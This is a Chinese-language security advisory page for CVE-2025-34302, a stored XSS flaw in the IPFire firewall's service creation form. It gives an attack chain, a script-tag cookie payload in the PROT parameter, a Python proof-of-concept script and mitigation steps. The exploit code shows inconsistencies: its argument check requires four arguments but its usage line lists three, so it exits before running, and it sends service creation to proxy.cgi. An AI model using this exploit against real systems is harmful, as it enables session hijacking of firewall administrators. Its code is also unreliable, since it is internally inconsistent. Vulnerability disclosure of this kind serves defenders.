IPBUF安全漏洞报告
English
CVE-2025-34302 CVSS 5.4 中危

CVE-2025-34302: IPFire 2.29之前版本存储型XSS漏洞

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-34302
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
IPFire

相关标签

存储型XSSIPFireCVE-2025-34302跨站脚本Web应用安全防火墙认证用户攻击低权限漏洞

漏洞概述

CVE-2025-34302是IPFire防火墙系统中存在的存储型跨站脚本(Stored XSS)安全漏洞。该漏洞影响IPFire 2.29(Core Update 198)之前的所有版本。漏洞的根本原因在于当用户创建新服务时,应用程序通过HTTP POST请求中的PROT参数接收协议类型数据,但该参数值在存储到数据库前未进行充分的输入验证和安全编码处理。攻击者可以通过设置ACTION参数为saveservice,然后利用PROT参数注入任意JavaScript代码。由于注入的恶意脚本被永久存储在系统中,当其他用户查看受影响的服务条目时,恶意代码会在其浏览器上下文中执行,从而实现会话劫持、敏感信息窃取、钓鱼攻击等恶意操作。此漏洞需要攻击者具有低权限用户身份并进行用户交互才能利用,CVSS评分5.4属于中等严重程度。

技术细节

该漏洞属于存储型XSS(Stored Cross-Site Scripting)漏洞,攻击流程如下:1) 攻击者首先需要获取IPFire系统的低权限用户账户;2) 攻击者构造恶意HTTP POST请求,ACTION参数设置为saveservice,PROT参数中包含恶意JavaScript代码(如<script>alert(document.cookie)</script>);3) 应用程序接收请求后,将PROT参数值未经验证直接存储到数据库中;4) 当管理员或其他用户通过Web界面浏览服务列表时,存储的恶意数据被读取并直接渲染到HTML页面中;5) 由于缺乏输出编码,浏览器将恶意脚本作为合法代码执行。攻击者可以利用此漏洞窃取用户会话Cookie、修改页面内容进行钓鱼、或利用管理员权限执行更严重的攻击。修复方案为在存储PROT参数前进行输入验证,并在输出时进行HTML实体编码。

攻击链分析

STEP 1
步骤1
攻击者获取IPFire系统的低权限用户账户
STEP 2
步骤2
攻击者构造HTTP POST请求,ACTION参数设置为saveservice
STEP 3
步骤3
在PROT参数中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>
STEP 4
步骤4
应用程序将PROT参数值未经过滤直接存储到数据库
STEP 5
步骤5
管理员或其他用户访问服务管理页面时,恶意脚本被读取并执行
STEP 6
步骤6
攻击者通过XSS成功窃取用户Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-34302 PoC - IPFire Stored XSS via PROT parameter # Target: IPFire < 2.29 (Core Update 198) # Author: VulnCheck def exploit_stored_xss(target_url, username, password): """ Exploit stored XSS vulnerability in IPFire service creation The PROT parameter is not sanitized before storage """ login_url = f"{target_url}/cgi-bin/index.cgi" service_url = f"{target_url}/cgi-bin/proxy.cgi" # Step 1: Authentication session = requests.Session() login_data = { 'username': username, 'password': password } try: resp = session.post(login_url, data=login_data, timeout=10) # Step 2: Create malicious service with XSS payload in PROT parameter exploit_data = { 'ACTION': 'saveservice', 'PROT': '<script>alert(document.cookie)</script>', 'service_name': 'Malicious Service', 'port': '80' } resp = session.post(service_url, data=exploit_data, timeout=10) if resp.status_code == 200: print("[+] XSS payload stored successfully") print("[*] Any user viewing the service list will trigger the XSS") return True else: print("[-] Exploitation failed") return False except requests.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password>") print(f"Example: {sys.argv[0]} http://192.168.1.1 admin password") sys.exit(1) exploit_stored_xss(sys.argv[1], sys.argv[2], sys.argv[3])

影响范围

IPFire < 2.29 (Core Update 198)

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 限制低权限用户创建服务的功能权限;2) 启用Web应用防火墙(WAF)规则检测XSS特征;3) 提醒用户不要点击不明链接;4) 定期检查服务配置,查找异常的JavaScript代码;5) 监控日志中的可疑请求模式。建议尽快升级到官方发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表